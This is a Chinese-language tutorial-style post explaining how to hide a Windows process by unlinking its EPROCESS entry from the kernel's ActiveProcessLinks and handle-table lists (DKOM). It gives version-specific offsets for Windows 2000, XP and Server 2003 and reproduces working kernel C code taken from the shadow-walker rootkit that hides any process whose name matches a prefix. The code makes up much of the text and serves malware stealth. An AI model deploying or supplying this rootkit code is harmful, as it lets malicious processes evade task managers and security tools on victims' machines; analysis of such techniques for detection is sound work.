在Windows内核中有一个活动进程链表AcvtivePeorecssList。它是一个双向链表，保存着系统中所有进程的EPROCESS结构。特别地，进程的EPROCESS结构包含一个具有指针成员FLINK和BLINK的LIST_ENTRY结构,这两个指针分别指向当前进程的前方和后方进程。当某些模块需要获得系统中运行的所有进程信息时，就会遍历这个链表。若在PsActviePoroessList链表上删除了某个进程对象，该进程将被隐藏起来。
EPROCESS的结构可参考http://www.nirsoft.net/kernel_struct/vista/EPROCESS.html。windbg中查看如下:
0:000> dt _EPROCESS
+0x000 Pcb : _KPROCESS
+0x06c ProcessLock : _EX_PUSH_LOCK
+0x070 CreateTime : _LARGE_INTEGER
+0x078 ExitTime : _LARGE_INTEGER
+0x080 RundownProtect : _EX_RUNDOWN_REF
+0x084 UniqueProcessId : Ptr32 Void
+0x088 ActiveProcessLinks : _LIST_ENTRY
+0x090 QuotaUsage : [3] Uint4B
+0x09c QuotaPeak : [3] Uint4B
+0x0a8 CommitCharge : Uint4B
+0x0ac PeakVirtualSize : Uint4B
+0x0b0 VirtualSize : Uint4B
+0x0b4 SessionProcessLinks : _LIST_ENTRY
+0x0bc DebugPort : Ptr32 Void
+0x0c0 ExceptionPort : Ptr32 Void
+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE
......
也就是说每次得到一个ActiveProcessLinks地址，再减去它离EPROCESS结构入口处的偏移，就可以得到EPROCESS的地址，然后就可以轻松得到想要的EPROCESS的任何成员变量！不同的操作系统ActiveProcessLinks的偏移有所不同。
要想隐藏某个进程，将其从ActiveProcessLinks链表中摘掉并修改前后结点的指向即可，同时修改HandleTableList的指向。shadow-walker上就对HandleTableList链表也进行了修改。_HANDLE_TABLE、HandleTableList在不同操作系统中在EPROCESS中便宜也不同。可以通过PsGetVersion获取系统版本并赋值。具体值可以在windbg中查看。
ULONG majorVersion;
ULONG minorVersion;
// Get the operating system version
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
if (majorVersion == 4 && minorVersion == 0)
{
//DbgPrint("Stop supporting NT 4.0");
return STATUS_UNSUCCESSFUL;
}
else if (majorVersion == 5 && minorVersion == 0)
{
//DbgPrint("Microsoft Windows 2000 ");
*pd_flink = 160;
*pd_tableoff = 0x128;
*pd_tablelist = 0x54;
}
else if (majorVersion == 5 && minorVersion == 1)
{
//DbgPrint("Microsoft Windows XP ");
*pd_flink = 136;
*pd_tableoff = 0xc4;
*pd_tablelist = 0x1c;
}
else if (majorVersion == 5 && minorVersion == 2)
{
//DbgPrint("Microsoft Windows Server 2003 ");
*pd_flink = 136;
*pd_tableoff = 0xc4;//
*pd_tablelist = 0x1c; //
}
这种隐藏进程的方法貌似就叫DKOM法，具体原理上个图看看：
图中，正常的连接情况如黑线箭头所示，若要摘除某个结点，修改该结点前后两个结点的指针即可，修改示意如红线所示！代码都是shadow-walker中的，如下
void HideEPROCESSByPrefix(char *p_name, DWORD d_procName, DWORD d_flinkOffset, DWORD d_tableOffset, DWORD d_tableList)
{
int len = 0;
PLIST_ENTRY plist_active_procs;
DWORD curr_eproc, eproc;
if (p_name == NULL)
return;
len = strlen(p_name);
eproc = (DWORD) PsGetCurrentProcess();
curr_eproc = eproc;
do
{
plist_active_procs = (LIST_ENTRY *) (curr_eproc+d_flinkOffset);//get the first ActiveProcessLinks
if(_strnicmp(p_name, (PVOID)(curr_eproc+d_procName) ,len) == 0) //cmp the procname if equal hideproc name
{
// just Change neighbors
*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
UnHookHandleListEntry((PEPROCESS)curr_eproc, d_tableOffset, d_tableList);
// Advance
curr_eproc = (DWORD) plist_active_procs->Flink;//pointer next ActiveProcessLinks
curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS
// Point to ourselves
plist_active_procs->Flink = (LIST_ENTRY *) &(plist_active_procs->Flink); // Change the current EPROCESS
plist_active_procs->Blink = (LIST_ENTRY *) &(plist_active_procs->Flink); // so we don't point to crap
}
else
{
curr_eproc = (DWORD) plist_active_procs->Flink; //pointer next ActiveProcessLinks
curr_eproc = curr_eproc - d_flinkOffset;//ActiveProcessLinks -offset=next _EPROCESS
}
} while(eproc != curr_eproc); //
}
void UnHookHandleListEntry(PEPROCESS eproc, DWORD d_handleTable, DWORD d_handleList)
{
PLIST_ENTRY plist_hTable = NULL;
plist_hTable = (PLIST_ENTRY)((*(PDWORD)((DWORD) eproc + d_handleTable)) + d_handleList);
// Change neighbors because they point fingers
*((DWORD *)plist_hTable->Blink) = (DWORD) plist_hTable->Flink;
*((DWORD *)plist_hTable->Flink+1) = (DWORD) plist_hTable->Blink;
plist_hTable->Flink = (LIST_ENTRY *) &(plist_hTable->Flink); // Change the current LIST_ENTRY
plist_hTable->Blink = (LIST_ENTRY *) &(plist_hTable->Flink); // so we don't point to crap
}